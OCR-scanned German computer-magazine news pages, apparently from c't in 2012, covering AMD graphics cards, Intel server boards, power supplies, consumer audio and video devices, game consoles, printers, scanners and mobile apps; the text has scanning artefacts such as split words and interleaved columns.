Deta i l s  zur W9000 wi l l  AMD erst 
zur Anfang August in Los Ange­
les stattfi ndenden S iggraph­
Konferenz bekanntgeben.  

Doch auch im  Consumer-Seg­
ment hatte AMD eine Ankündi ­
gung i n  petto: e ine aufgebohrte 
Radeon HD 7970, die Nvidias Ge­
Force GTX 680 überholen so l l .  
D i e  n e u e  "GHz Edit ion" läuft, wie 
es der Name vermuten lässt, mit 
1 ,0 GHz und damit 75 MHz 
sch ne l le r  a l s  d ie  Standa rd-Ver­
s ion .  Zudem spendiert i h r  AMD 
e ine Tu rbo-Funktion, welche d ie 

Kommentar: Fauler Zauber 

Die F i rePro W9000 steuert 
über vier D isp l·ayPort-Ausgänge 
ebenso v ie le B i ldsch i rme g leich­
zeit ig a n  und bringt auch einen 
Ansch luss  fü r 3 D-Stereo-Br i l l en  
mit. I h re Tah it i-GPU kommu ni -

Die für Display-Wände gedachte F irePro W600 steuert 
bis zu sechs Bi ldschirme gleichzeitig an.  
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Die HSA Foundation sol l  e in­
heit l iche Hard- und Software­
Spezifikationen erarbeiten und 
damit e in  Fundament fü r d ie 
APU- Idee legen: Kombiprozes­
soren, in denen auch die GPU 
an  Al ltags-Software mitrechnet. 
E in  paar hochkarätige F i rmen 
hat AMD für die Foundation ge­
winnen kön nen.  Für d ie Hard­
ware hat AMD vor geraumer 
Zeit e ine Roadmap vorgelegt 
und ste l l t  einen gemeinsamen 
Adressraum und andere HSA­
Funktionen in Aussicht. Die Spe­
zifikation der HSA Software Sys­
tems Architecture und das HSA­
Prog rammierhandbuch s ind 
aber n icht fert ig. Potenzie l le  
Käufer dü rfte das a l les wenig in­
teressieren. Sie suchen Gründe, 
warum sie trotz sch lechter CPU­
Leistung zur APU g reifen sol len. 
Und genau da kommt AMD der­
zeit ins  Stottern. 

Video-Dekod ie rung packen 
a uch l ntels Kombiprozessoren 
locker und selbst ohne GPU 
laufen 4K-Videos auf aktue l len 

CPUs  problemlos. Für  an­
spruchsvo l l e  Spie le i n  zeitge­
mäßer F u i i-HD-Auflösung s ind 
i nteg rierte Grafike inheiten wei­
terh i n  zu schwach.  Außerdem 
ist man bei manch einem Titel 
wie Battiefle id 3 auf sehr g ro­
ßen 64-Spieler-Karten auf wi rk­
l ich le istungsfähige CPUs ange­
wiesen. 

AMD tut s ich kei nen Gefa l len 
dam it, Vortei l e . i n  bu nten Prä­
sentat ionen herbeizutricksen.  
Render-, Rechen- und Strea­
ming-Fun ktionen werden i rre­
füh rend in e inen Topf gewor­
fen, o l le  Kamel len wie der F lash 
P layer oder Di rect2D i n  F i refox 
a l s  Neuheiten verkauft. Das ist 
lächer l ich und trau rig zugleich 
- und sagt vieles über den 
Status Quo des APU-Projekts. 
Ich habe noch kein  zwingen­
des Argument fü r e inen APU­
Kombiprozessor der Marke Tri­
n ity oder L lano gehört, AMD 
kann  a l so weiterhin nur an der 
Preisschraube d rehen. 

(Mart in Fischer) 
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aktuel l ! Hardware, Embedded 

Serverboard im 
Mini-ITX-Format 

Schon seit e in igen 
Wochen l iefert I ntel die 
Prozessoren der Fami l ie Xeon 
E3-1 200V2 fü r Server und Work­
stations mit e iner (PU-Fassung 
aus. Sie entsprechen weitgehend 
den aktuel len Desktop-PC -Pro­
zessoren Core iS-3000 und Core 
i?-3000 mit " lvy Bridge"- lnnen­
leben: Diese 22-nm-Ch ips sind 
kompakter und unter Vol l last effi­
zienter a l s  ihre 32-nm-Vorgänger 
{Sandy Bridge). Mitg l ieder der 
Serie Xeon E3-1 200V2 laufen 
nach einem BIOS-Update auch 
auf bisherigen LGA 1 1 55-Main­
boards mit einem der Chipsätze 
C202, C204 oder C2 1 6. 

Von den E3-Xeons g ibt es spar­
samere Versionen mit gedrossel­
ter Taktfrequenz, die ein "L" im 
Namen tragen, etwa 45-Watt-Ver­
sionen mit vier Kernen wie den 
Xeon E3-1 265LV2 {2,5 GHz, 
Turbo: 3,5 GHz) und den 1 7-Watt­
Doppelkern Xeon E3-1 220LV2 
{2,3/3,5 GHz) .  Letzterer kostet 
knapp 200 Eu ro, ersterer rund 
300 Euro. Endet d ie vierste l l ige 
Zah l  in  der Typenbezeichnung 
mit der Ziffer 5, so ist auch der 
Grafikprozessor aktiv. 

Ein Xeon E3 mit GPU i st d ie 
optimale Bestückung fü r das 
I ntel-Serverboard S 1 200KP im 
kompakten Mini- ITX-Format. An­
ders a l s  viele typische Server­
boards bes itzt es näml ich keinen 
sepa raten PCie-Grafi kch ip, son­
dern bloß eine DVI+Buchse, um 
die integ rierte CPU-Grafik zu nut­
zen.  Mit dem erwähnten Xeon 

I ntel S 1 200KP: besonders 
kompaktes Server-Mainboard 
für einen Xeon E3-1 200 und 
maximal 16 GByte RAM 

E3- 1 220LV2 muss man a l so auf 
e inen Mon itor verzichten oder 
eine Grafikka rte in  den PCie-x 1 6-
Steckplatz e insetzen, was d ie  
Energieeffizienz versch lechtert. 

Laut I ntel sind erst die neueren 
Versionen des S 1 200KP m it der 
SKU-Bezeichnung DBS 1 200KPR 
lvy-Bridge-taugl ich .  Das Board ist 
mit dem Chipsatz C206 bestückt, 
der anders a l s  seine aktuel len 
Verwandten aus der Serie 7 zwar 
kein  USB 3.0 bietet, aber d ie Nut­
zung von ECC-Speicher er laubt. 
Auf dem C206 kann  dann  auch 
e in verg leichsweise b i l l iger Core 
i3-2000 mit dem RAM-Feh ler­
schutz arbeiten - a l s  Quad-Cores 
müssen aber Xeons zum E insatz 
kommen, Core iS oder i7 fun ktio­
n ieren n icht. 

Wegen der begrenzten P lati­
nenfläche stehen nur zwei DIMM­
Siots und vier SATA-Ports bereit, 
von letzteren sind zwei SATA-6G­
taugl ich .  I ntel lötet auch zwei Gi­
gabit-Ethernet-Chips {82574 und 
82579) aufs Board, das für rund 
1 50 Euro erhält l ich ist. {ciw) 

Netzteile für Anspruchsvolle 

Listan hat  se ine auf Gamer  und 
Übertakter ausgerichtete H igh­
End-Netzte i l serie be-qu iet! Dark 
Power Pro überarbeitet: Die aktu­
el le Version P 1 0 l iefert zwischen 
550 und 1 200 Watt und lockt 
schon beim kleinsten Model l  mit 
überdu rchschn ittl ich vielen An­
sch lüssen {2x EPS 1 2V, Sx PCie, 

26 

9x SATA, 6x 5,25-Zoi i-Laufwerke, 
1 x F loppy) . Die Wand ler  so l len 
zudem besonders le ise und effi­
zient a rbeiten, näml ich m it bis zu 
93 Prozent Wirkungsgrad. A l ler­
d ings  ist auch der Preis Spitze: 
Schon das le istungsmäßig kleins­
te Netztei l kostet im Einzelhandel 
rund 1 1 5 Euro. {ea) 

Listans Dark 
Power Pro P1 0 

l iefert zwischen 
550 und 1 200 Watt 
mit hoher Effizienz. 

Mini-Board versorgt drei Displays 

Bis zu d rei d ig itale Displays steu­
ert das Mainboard Mano1 1 1  von 
Axiomtek g le ichzeitig an. Die 
Mon itore lassen s ich wah lweise 
per DVI-D oder Disp layport an­
schl ießen, wofü r je zwei Buchsen 
vorhanden sind. Alternativ g i bt 
es noch e in 24-Bit-LVDS-I nterface 
{Dua i -Chan nel ) .  D ie nötige Gra­
fi k-Performance l iefert ein Tri­
n ity-Prolessor ( im AMD-Jargon 
"APU") aus  der R-Bau re ihe von 
AMD, den die Fassung FS1  r2 auf­
n immt. Weder CPU-Küh ler noch 
CPU gehören zum Lieferumfang 
der Min i-ITX-Piat ine mit 1 7  Zenti­
metern Kanten länge. Der AlS­
Ch ipsatz versorgt je vier SATA-

Axiomtek pflastert 
das Mini-ITX­
Mainboard für 
AMD-APUs der 
Serie R mit 
Schnittstel len. 

6G- und USB-3.0-Ports, wäh rend 
d ie beiden Gigabit-Ethernet­
Buchsen ü ber PCie-Ch ips ange­
bunden sind. Vier serie l le Schn itt­
stel len, d iverse USB-2.0-Ports, e in 
TPM und e in Steckplatz für CF ast­
Karten runden d ie  Ausstattung 
ab .  Fü r  Erweiterungen g ibt es 
e inen klassischen PCI-Steckplatz, 
e ine Fassung fü r e ine PCie M in i  
Card und  e inen  S IM-Kartens lot 
fü r UMTS. E igene Schaltungen 
kann  man über je vier d ig ita le 
E in- und Ausgänge {GPIO) an­
sprechen.  E in  Watchdog-Timer 
überwacht den Betrieb. Das ab 
September erhält l iche Mano1 1 1  
sol l 3 1 8  Euro kosten.  {bbe) 

Lange USB-3.0-Verbindung 

Über bis zu 1 00 Meter Distanz sol l  
der Ranger 3 1 44 von lcron USB-
3.0-S igna le leiten. Zwischen den 
beiden Boxen kommen optische 
Kabel zum E insatz. Die sorgen ne­
benbei fü r e lektrische Isolat ion. 
Al lerd ings ist laut lcron die maxi­
male Distanz nur i n  Verb indung 
mit bestimmten Geräten und 
Hosts erreichbar. Das Datenblatt 
spricht daher nur  von 50 Metern. 

Sol lte das zuverlässig funktionie­
ren, wäre es eine gewa ltige Stei­
gerung gegenüber dem, was 
e lektrische Kabel schaffen. in un­
seren Experimenten stießen wir 
ab  1 0  Metern selbst mit aktiven 
Kabeln auf zah l reiche Probleme. 
E inen Preis für das Extender-Pär­
chen und die passenden Lichtlei­
ter wol lte lcron auf Nachfrage 
(noch) nicht nennen. (bbe) 

V . 1 
Je nach Lesart soll der Ranger 3 1 44 USB-3.0-Geräte über 
Distanzen von 50 oder 1 00 Metern mit dem PC verbinden. 

Sechsachser 

F reesca le vere int im  Xtri ns ic  
FXOS8700CQ Besch leun igungs­
und  Magnetfe ldsensoren mit  je 
d re i  Achsen. Somit l iefert der nu r  
3 mm x 3 mm x 1 ,2 mm g roße 
Kombisensor n icht b loß Daten 
zu Lage und Bewegu ngen, son­
dern auch d ie H immelsrichtung.  

E ine  eCompass genannte Soft­
ware verrechnet d ie E inzelwerte, 
um die Auflösung zu erhöhen. l n  
g roßen Mengen  ab  1 00 000 
Stück so l l  der Ch ip  je 1 ,55  US­
Do l l a r  kosten,  e in  75 US-Do l l a r  
teu res Entwickl ungskit so l l  im  
d ritten Quartal  erscheinen. (bbe) 
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aktuell ! AudioNideo 

DVD-Brenner tarnt sich als Festplatte 

Plextor hat in seinem externen 
S l im-Li ne-DVD-Brenner PX-6 1 2U 
eine Funktion namens P lexTV 
eingebaut. Durch d iese wird das 
Laufwerk von Fernsehern und 
anderen Med ia-Piayern a l s  exter­
ne Festplatte erkannt und er­
laubt Lesezugriff auf d ie Dateien 

der CDs und DVDs. Dank eines in­
ternen Akkus benötigt das Lauf­
werk nu r  e inen USB-Ansch luss .  
P lextor l iefert zudem seine Ana­
lyse-Software P lexTools mit und 
verkauft das 300 Gramm schwere 
Laufwerk im schicken Meta11ge­
häuse für 59 Euro. (hag) 

Plextors PX-61 2U 
benötigt keine 
Treiber für optische 
Laufwerke, sondern 
wird von Unter­
haltungsgeräten 
als externe Fest­
platte erkannt. 

Subwoofer für Sanos-System 

Sonos erweitert sein Mus ikver­
tei l system um den aktiven Netz­
werk-Su bwoofer ,.SUB". Trotz 
verg le ichsweise sch l anker Ab­
messungen von 40 cm x 38 cm 
x 1 6  cm bringt der auf Hoch­
g lanz pol ierte Bass statt l iche 
16 Ki logramm auf d ie Waage. Er 
lässt sich an bel iebiger Ste l le im 
Raum pos it ion ieren und  benö­
tigt led ig l ich einen Stroman­
schl uss. Über  das Sonos-Funk-

in Sonos' SUB stecken zwei 
Verstärker und vis-a-vis zwei 
Basstreiber. 

netz verbindet er sich mit ande­
ren Sonos-Piayern. Dabei muss  
es s ich  um Senos-Komponenten 
mit aktivem Verstä rker hande ln, 
d ie  passiven Streaming-Kom po­
nenten Connect, ZP90 und ZP80 
werden nicht unterstützt. 

Im SUB stecken zwei unabhän­
gige Verstärker mit je einem Bass­
treiber. Sie s ind in  der mittigen 
Aussparung vis-a-vis angebracht 
- Sonos spricht von ,.Force-Can­
cel l i ng"-Lautsprechern, d ie vor 
a l lem u nangenehme Nebenge­
räusche des Gehäuses m in im ie­
ren sol len.  

Im ersten Hörtest konnte der 
Bass du rchaus überzeugen. Stö­
rend fiel auf, dass sich die Intensi­
tät im Nachhinein aussch l ießl ich 
umständ l ich über das E instel­
l ungsmenü verändern lässt - ein 
Lautstärkereg ler am SUB feh lt. Der 
SUB mit schwarzer Hochglanz­
Optik kostet 700 Euro. Ab Oktober 
wi l l  Sonos auch eine mattschwar­
ze Variante anbieten, die 1 00 Euro 
günstiger sein sol l .  (sha) 

@ Audio/Video-Notizen 

Seit Mitte Juni kann man sich in 
Deutsch land auch ohne Face­
bock-Konto bei der Musik­
Fiatrate Spotify anmelden. Für  
den werbefi nanzierten Dienst 
reicht nun  d ie Angabe e ines 
Namen und einer Mai I-Ad resse. 

Goog le geht gegen YouTube­
Download-Dienste vor: Der 
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Setre iber des MP3-Konvertie­
rungsservices YouTu be-MP3.  
org hat e in  Schre iben von 
einem Rechtsberater der Goo­
g le-Tochter bekommen,  in 
dem er  aufgefordert wi rd, 
seine Dienstleistung e inzustel­
len. Laut Torrentfreak haben 
verg le ichba re D ienste g le ich 
lautende Schreiben erhalten. 

Geheime Xbox-Piäne aufgetaucht 

Laut einem angeb l ichen i nter: 
nen Strateg iepapier vom Au­
gust 201 0, das kürzl ich im  Inter­
net aufgetaucht ist, p lant Micro­
soft fü r das kom mende Jah r  
e i nen  Nachfolger de r  Xbox 360. 
Die i ntern mit dem Codenamen 
Xbox 720 beze ichnete Konsole 
so l l  a l s  a l lgemeiner  Media-Hub  
ausge legt werden, der  B l u-ray­
F i lme abspielen und Fernsehsen­
d u ngen aufze ichnen kön ne. 
Da n k  ska l i e rbarer Leistu ngsa uf­
nahme könr;�e d ie  neue Box ,.a l ­
ways on" se in und auch im 
Standby Daten empfangen .  Die 
Sp ie le leistu ng so l l  etwa das 4-
bis 8-Fache der Xbox 360 betra­
gen .  Die jetzige Ki nect-Kamera 
werde angebl ich du rch e ine H O­
fäh ige Vers ion mit  zwei L insen 
abgelöst werden, d ie rechts und 
l i n ks vom Fernseher i n sta l l ie rt 

The Road to Fortaleza 

werden.  A ls  Preis werde 300 US­
Dol l a r  angepei lt. 

20 1 4  so l l a l s  Zubehör u nter 
dem Namen ,. Forta leza" e ine 
Augmented-Rea l ity-Bri l l e  veröf­
fent l icht werden, d ie  Videospiel­
fig u ren scheinbar  i n  d ie rea le 
Woh nzi mmerumgebung e in­
blenden könne.  E ine mobi le Ver­
s ion d ieses an Goog les Glass er­
i n nernde Projekt so l le  e in  Jahr  
später folgen.  Das  Streamen von 
Spie len aus  der C loud,  wie es 
derzeit F i rmen wie Ga ika i  oder 
On l ive praktizieren, sol l nach Mi­
crosofts Plänen erst 201 5 e inge­
fü h rt werden .  Das Papier wirkt 
du rchaus authentisch, zu ma l  das 
U nternehmen über Anwä lte ver­
sucht, seine Verbreitung zu ver­
h i ndern.  Ob die P läne aber noch 
im mer aktue l l  sind, wei ß nu r  
Microsoft selbst. (hag) 

Die Fortaleza-Bri l len könnten die nächste Xbox-Konsole 
ab 201 4  in eine Art Holodeck verwandeln. 

Größere 3DS-Konsole 

N i ntendo wi l l  am 28. J u l i  eine 
g rößere Version seiner Mobi l kon­
sole 3DS auf den Markt bringen. 
Die B i ldschirme des 3DS XL ge­
tauften Gerätes sind mit  Diago­
nalen von 1 2,4 und 1 0,6 cm fast 
doppelt so g roß wie bisher. I h re 
Auflösung von 400 x 240 und 
320 x 240 Pixel n b le ibt jedoch 
u nverändert. Mit einem Gewicht 
von 336 Gramm wiegt die XL­
Vers ion rund 1 00 Gramm mehr 
a l s  d ie 3DS. Die Akku laufzeit so l l  

s ich um 20 bis 30 Prozent verbes­
sern und  bei 3 DS-Spielen laut 
N intendo nun  3 ,5 bis 6 ,5 Stunden 
betragen. E in zweites Ana logpad 
wurde n icht integriert, aufgrund 
seiner Größe ist d ie XL-Version 
i nkompatibel zum Schiebepad 
Pro. Der Preis l iegt bei knapp 
200 Eu ro. N i ntendo legt dem 
Gerät eine SD-Karte mit 4 GByte, 
jedoch kein  Netztei l  bei. E in sol­
ches ist sepa rat fü r etwa 5 bis 
1 0  Euro erhält l ich.  (hag) 

Mit ihren größeren 
Bi ldschi rmen und der 
längeren Akkulaufzeit 
beseitigt die 305 XL 
zwei erhebliche Mankos 
des Vorgängers. 
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aktuell I Peripherie 

AirPrint für USB-Drucker 

Lantronix hat e inen Pr i ntserver 
vorgeste l lt, der USB- und Ether­
net-Drucker AirPr i nt-fäh ig  ma­
chen soll . Damit können die Dru­
cker von iOS-Geräten (ab Version 
4.2) erkannt und aus  jeder App 
mit eigener Druckfunkt ion he­
raus verwendet werden.  E ine 
spezie l le Drucker-App i st  mit Air­
Print n icht erforder l ich .  Der 
xPrintServer "Horne Edition" sol l  
noch in  d iesem Monat i n  den 
Handel  kommen und 80 Euro 
kosten. Das Gerät, etwa so g roß 
wie zwei Ziga rettenschachteln,  

I 

benötigt e in  sepa rates Netztei l  
u n d  muss per Ethernet m it dem 
WLAN-Router verbunden sei n .  

E in ähn l iches Gerät hatte Lan­
tronix bereits vor einigen Monaten 
vorgestel l t  (siehe c't 7/1 2, S. 6 1 )  -
a l lerd ings nur  für Netzwerk-Dru­
cker. Mit der Horne-Edition sol len 
nun auch USB-Drucker ohne 
Umweg über e ine F reigabe vom 
PC via Ai rPr int mit iOS-Geräten 
drucken. Dafür benötigt der Print­
server e inen auf den jewei l igen 
Drucker zugeschn ittenen Treiber, 
den er sich aus dem I nternet vom 
Lantron ix-Server holt. E ine Liste 
mit den kompatiblen Druckern 
finden Sie über den c't-Link. (tig) 

www.d.de/7275030 

Mit der Horne Edition des 
xPrintServer von Lantronix 
sollen sich auch USB-Drucker 
via AirPrint von iOS-Geräten 
aus benutzen lassen. 

OLED-Entwicklung: Panasonie und 
Sony tun sich zusammen 

Die japan ischen Unterha ltu ngs­
elektron ik-Konzerne Panasonie 
und Sony haben s ich zusam­
mengetan, um gemeinsam 
OLED-Panels  fü r TVs und Groß­
d i splays zu entwicke ln .  Beide 
Unternehmen wol len i h re Tech­
nologien fü r gedruckte OLEDs 
mit in  d ie Entwickl ungspartner­
schaft br ingen.  B is lang werden 
OLEDs meist noch mit aufwendi­
gen Maskenprozessen prod u­
ziert, was die Kosten i n  d ie Höhe 
tre ibt und die mögl ichen Diago­
nalen begrenzt. 

Sony war 2007 das erste Unter­
nehmen, das einen OLED-Fernse-

her anbot - der 1 1  Zol l  (28 cm) 
große XEL-1 stel lte aber eher eine 
Kuriosität dar a ls  einen Verkaufs­
schlager, h ierzu lande kostete er 
happige 4300 Euro. ln letzter Zeit 
waren es eher Sonys korean ische 
Kontrahenten Samsung und LG, 
die in  Sachen OLED auf sich auf­
merksam machten: Beide Unter­
nehmen haben bereits mehrfach 
g roße OLED-TVs mit 1 ,40 m Dia­
gonale (55 Zol l )  angekündigt -
wann  d iese in den Handel  kom­
men ist a l lerd ings unklar, konkre­
te Angaben zu Verkaufsstart und 
Preis bl ieben beide Herste l ler  
schuld ig .  Okj) 

@ Peripherie-Notizen 

Canon hat den kosten losen 
Speicher seines Cloud-Bi lder­
dienstes Canon I mage Gate­
way auf 1 0  G Byte erhöht .  
Nutzen können den Dienst 
Besitzer von Canon-Kameras 
oder -Druckern.  

Sony hat einen 4K-Kinoprojek­
tor angekündigt, der mit sechs 
günstigen Quecksi lber-Beamer­
lampen arbeitet statt mit teuren 
Xenon-Lampen. Der Projektor 
mit e ingebautem Kinoserver 
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soll 45 000 Euro kosten - und 
damit  auch für kleine I ndepen­
dent-Kinos erschwingl ich sein .  

Gefens HDMI-Extender GTB-
3DTV-KVM ü berträgt mit zwei 
Cat-5-Netzwerkkabel n  H DMI -, 
I n fra rot- und  USB-2 .0-S igna le .  
Laut Herste l l e r  l assen s ich so 
bis zu 1 00 Meter überbrücken . 

. D ie maxima le  Auflösung  be­
trägt 1 920 x 1 200 B i ldpunkte. 
Das Gerät ist ab sofort für rund 
1 000 Euro erhä lt l ich .  

Sony bringt Google TV nach Deutschland 

Zwei Jah re nach sei nem Sta rt 
setzt Goog le TV nun  zum Sprung 
nach Europa an :  Bereits im  Janu­
a r  hatte Sony auf der CES ange­
kündigt, d ieses Jahr  zwei Settop­
boxen fü r Goog le TV auch außer­
ha lb  der  USA anzubieten .  Den 
Anfang macht Sony jetzt in 
Großbrita n n ien,  wo d ie  Settop­
box NSZ-GS7 fü r 200 Euro im Ju l i  
a l s  Erstes i n  den  Handel kommen 
sol l .  

Pünkt l i ch zur  I FA sol l d ie  
TV-Box "powered by  Goog le TV" 
i n  Deutsch land erhä lt l ich sei n .  
Zudem wi l l  Sony das  Gerät auch 
i n  Austra l ien, B ras i l ien,  Ho l land, 
F ra n kreich,  Kanada und Mex iko 
verkaufen .  I m  November so l l  
zudem mit dem NSZ-GP9 e in  
B l u-ray-P iayer mit  Goog le-TV­
Funktionen fü r 300 Euro erschei­
nen. 

Beide Boxen werden mit e iner 
Wendefernbed ienung ausgel ie­
fert: Auf der  e inen Seite fi nden 
s ich Funkt ionstasten sowie e in  
Touchpad, auf der anderen Seite 
hat sie e ine h i nter leuchtete 
QWERTZ-Tastatur fü r Texteinga­
ben. Bei der NSZ-GP9 sol l  zusätz­
l ich e in  i nteg rierter Gyro-Sensor 
das Bewegen des Mauszeigers 
auf dem Bi ldschirm ermög l ichen 
und e in  Mikrofon d ie  Sprach­
steuerung er lauben.  

Seide Boxen la ufen mit An­
d ro id und verschmelzen das 
k lass ische Fernsehen mit  Netz­
I nha lten. Das empfa ngene TV­
S igna l  w i rd über e inen HDMI ­
E ingang von e inem externen Re­
ceiver eingesch leift und über e in 
Video-Overlay mit I nternet inha l ­
ten angereichert an  das TV-Gerät 
ausgegeben.  (spo) 

Die Fern­
bedienung 

der Google-Box 
hat auf der Ober­

seite ein Touchpad 
nebst Funktionstasten 

und auf der Rückseite eine 
QWERTZ-Tastatur. 

Dokumentenscanner mit Android-App 

Mit dem kompakten Dokumen­
tenscanner ScanSnap S 1 300i wi l l  
Fuj itsu besonders Nutzer von 
Smartphones und Tablets anspre­
chen. Das Gerät eignet s ich fü r 
den mobi len E insatz und bezieht 
dabei Strom über die USB-Verbin-

dung zum Notebook. Die Scan­
Software fü r Windows und Mac 
OS X erzeugt mit H i lfe der OCR­
Software F ineReader durchsuch­
bare PDFs und sendet sie - je 
nach Vore inste l l ung - via WLAN 
zum And roid-Smartphone oder 
per Dropbox zu bel iebigen ande­
ren Mobi lgeräten oder PCs. 

Der ScanSnap S 1 300i soll deut­
l ich schne l ler  a rbeiten a l s  sein 
Vorgänger. Er l iest mit zwei Scan­
zei len Vorder- und Rückseite des 
Dokuments in e inem Rutsch e in 
und besitzt einen Vorlageneinzug 
fü r zehn Seiten. Der mobile Doku­
mentenscanner i st ab sofort fü r 
320 Euro erhä lt l ich. (rop) 

Scannt unterwegs und 
im Büro, auf Wunsch auch 
aufs Smartphone: der 
Fujitsu ScanSnap S 1 300i 
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Comic in Bewegung Planung für Außendienstier 

h ine in ,  b lättert und blendet die 
Sprechblasen aus. ln der Anag ly­
phendarste l l ung  verstä rkt e ine 
rot-blaue Fa rbfi lterbr i l le  den 3D­
Effekt noch - dann ru-
ckelts aber  etwas. Mit 
i h rer Techn ik  wo l len  

Goog le  wi l l  U nternehmen mit  
der Android-App Goog le Maps 
Coord i nate (GMC) und dem zu­
gehör igen Webd ienst helfen, 

Au ßendienstei nsätze 
zu koord in ieren. Jedes 
Mita rbeiter-Smartpho­

Ta blets und Smartphones eig­
nen s ich vortreffl ich zur  Anzeige 
fü r Comics und können dabei ei­
gent l ich viel mehr a ls e in  Stück 
Papier. Doch b is lang g ingen di­
gitale Comics n u r  selten über 
das traditione l le  Konzept anein­
andergereihter B i lder  h inaus .  
DeepComix fü h rt i n  se iner  iOS­
App DeepComix Teaser nun die 
Räum l ichkeit in  d ie B i lderwelten 
ein. Dazu nutzt s ie die Besch leu­
n igungssensoren, u m  entspre­
chend der Bewegung des Geräts 
den B l ickwinkel auf die Szene zu 
ä ndern.  So guckt man d u rch 
Schwenken der Ha rdware bei­
sp ie lsweise h i nter e ine Mauer 
oder füh rt se inen B.l ick du rch Ex­
plosionswo lken, Sprech b lasen 
und Charaktere wie d u rch e ine 
e ingefrorene F i l mszene. Ohne 
jeg l iches Zubehör hat man das 
Gefüh l ,  räu m l ich i n  den Comic 
h ineinzusehen. 

. d ie  Entwickler d ig ita l  
erstel lte Comics erwei­
tern, a ber auch trad i ­
t ione l le  Comis so l len 
s ich damit u mwandeln 
lassen.  Die kosten lose 

� ne oder -Tablet sendet 

� über d ie App in regel­
� mäßigen Abständen 

• < se inen Aufentha ltsort 
www.d.de/111503 1 a n  den Goog le-Web-

Ganz ohne Menü zoomt man 
d u rch Gesten i n  d ie  Sequenzen 

App fü r iPhone, i Pod Touch und 
i Pad (ab iOS 4.0) i st e ine Stud ie 
und verdeutl icht i n  e inem fa rbi-
gen Action-Comic mit sieben Pa­
nels das Potenzia l der Idee. 

Ob es am Ende nicht doch 
etwas zu anstrengend ist, einen 
ganzen Comic lang se in Ta b let 
oder Smartphone h in - und  her­
zuschwenken, vermag man an­
hand der  Leseprobe noch n icht  
zu erkennen.  Fü r  e inen . .  Wow-Ef­
fekt" reicht der k le ine E inb l ick je­
denfa l l s .  (mho) 

Ein Schwenken des Tablets verschiebt in DeepComix Teaser 
die Bildebenen und erzeugt einen räumlichen Eindruck. 

Datenbank fürs iPad 

Die iPad-Va riante der F i leMaker­
Datenbank Bento hat e inen g ro­
ßen Sprung gemacht: von Ver­
s ion 1 . 1 5  auf 4. N u n  lassen s ich 
vorkonfekt ion ierte oder sel bst 
entworfene Datenbankprojekte 
in u ntersch ied l ichen Des igns  
aufbereiten · und weitervera rbei­
ten. Dabei kann  Bento seine ln­
ha lte per Formu l a r, a l s  Tabel le, 
als Vol lb i ldanzeige eines Daten­
satzes oder als getei lte Ansicht in 
zwei Fenstern präsentieren. 

Die übera rbeitete Suchfunk­
tion hebt in e iner Treffer l i ste 
die Fu ndste l len des Suchstr ings 
fa rbig hervor und sort iert über 
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mehrere Datenfelder. Auch Orts­
daten und Rechenformeln s ind 
jetzt a l s  Datentyp mögl ich .  E in­
ze lne  Felder können per Pass­
wort geschützt werden. 

Den Datenausta usch mit  
Apps wie iCal oder Contacts un­
terstützt Bento n icht mehr. Wer 
se inen Adressbestand in Bento 
n utzen wi l l ,  muss die Kontakte 
bei m Datenbankdes ign statisch 
h ine inkopieren und fortan von 
Hand a ktua l is ieren.  Die neue 
App g ibt es fü r 7 ,99 Eu ro 'i nklu ­
sive 24 anpassba rer Datenbank­
vor lagen.  Weitere Vor lagen fi n­
det man im Web. (hps) 

server. I st WLAN-Or­
tung am Handy e ingescha ltet, 
klappt das in der Regel auch eini­
germaßen genau i n  I n nenräu­
men.  Der Server wiederum g ibt 
d ie Posit ion an a l l e  M itarbeiter 
weiter. E in bisschen funktion iert 
das wie·Googles Freunde-Ortung 
Latitude, doch hat GMC da rüber 
h inaus  e in  Ticketsystem fü r Ar­
beitsvorgänge: Einzelne Aufträge 
kann  der Mitarbeiter annehmen 
oder von der Zentra le zugewie­
sen bekommen.  Er aktua l i s iert 
den Auftragsstatus, schickt Nach­
richten an  Kol legen und schl ießt 
Aufträge per Touch ab. 

Außer auf And roid-Geräten 
s ind die erfassten Daten i m  
Browser verfügbar, etwa fü r 
e inen Dispatcher in der Service­
Zentra le .  Der auch in Deutsch­
land nutzba re Dienst ist ebenso 

@ App-Notizen 

Die Nach richtensammei-App 
F l ipboard ist nun auch für An­
d roid verfügbar. Für i Phone 
und i Pad bietet s ie erstmals  
kosten pfl icht ige I nha lte der  
New York Tim es an .  

Den populären Datenkompri­
m ierer WinZip g i bt es jetzt 
auch a l s  kosten lose Android­
Anwendung .  S ie  packt und 
entpackt Z I P-Arch ive - optio­
nal auch versch lüsselt. 

N i ke hat seine Lauf-App N ike+ 
GPS in N i ke+ Runn ing  u m be­
nannt  und  ste l l t  s ie n u n  kos­
tenlos fü r iOS und Android zur  
Verfügung .  i n  der aktue l len 
Vers ion 4 kann  man mehr De­
ta i l s  zu r Laufstrecke angeben 
und bekommt das aktue l le  
Wetter angezeigt. 

Die Deutsche-Bundestag­
App ist i n  Vers ion 3.0 nun auch 
fü rs i Pad optimiert. S ie infor-

wie die App n u r  über Goog les 
US-amerikan ischen Vertriebsser­
vice fü r U nternehmenskunden 
zugäng l ich und kostet bis Ende 
August 1 5  US-Do l la r  je Nutzer 
und Monat. (hps) 

B Coord1nate 

f'Qrt Jacksoo 

Die Android-App zu Google 
Maps Coordinate reichert 
den Kartendienst mit Standort­
Infos fü r ein Team von Mit­
arbeitern an.  

miert über d ie  aktue l len The­
men und zeigt Steckbriefe der 
Abgeordneten. 

Der F reeNavigator von Pea rl 
bietet werbefinanzierte Navi­
gation auf Deutsch landkarten 
an. Die Pearl Navi .i st fü r iOS­
Geräte ab 4.3 erhä lt l ich, e ine 
Vers ion ohne Werbung kostet 
4 Euro. 

Verbesserungen fü r zwei popu­
lä re iOS-Mai i-Ci ients: Goog le 
Mai l  a rbeitet nach dem neues­
ten Update jetzt auch mit App­
les iOS-Nachrichtenzentra le zu­
sammen, der Mai ler Spa rrow 
unterstützt in Version 1 .3 erst­
mals  POP-Server. 

Mozi l l a  hat se ine Vers ion 1 4  
seines Browsers F i refox für An­
d roid veröffentl icht. Sie unter­
stützt F lash und synchronis iert 
Lesezeichen, Kennwörter und 
die Chronik. 

3 1  



aktuell I Technische Anwendungen 

Rundum erneuert 

Unter dem gemeinsamen Namen 
3DExperience Platform fasst der 
französische Software-Herstel ler  
Dassault Systemes so u nter­
schied l iche Produkte zusammen 
wie die Konstruktionssoftware­
fami l ie Catia, das Teamwerkzeug 
Enovia, das S imu lations- und 
Ana lyse-Paket S imu l ia, den 3D­
Model l ierer und Renderer 3Dvia, 
den Prozessmodel l ierer und Fer­
t igungsplaner Delmia und die 
Datenmanagementlösung Exa­
lead Cloud View. Al le d iese An­
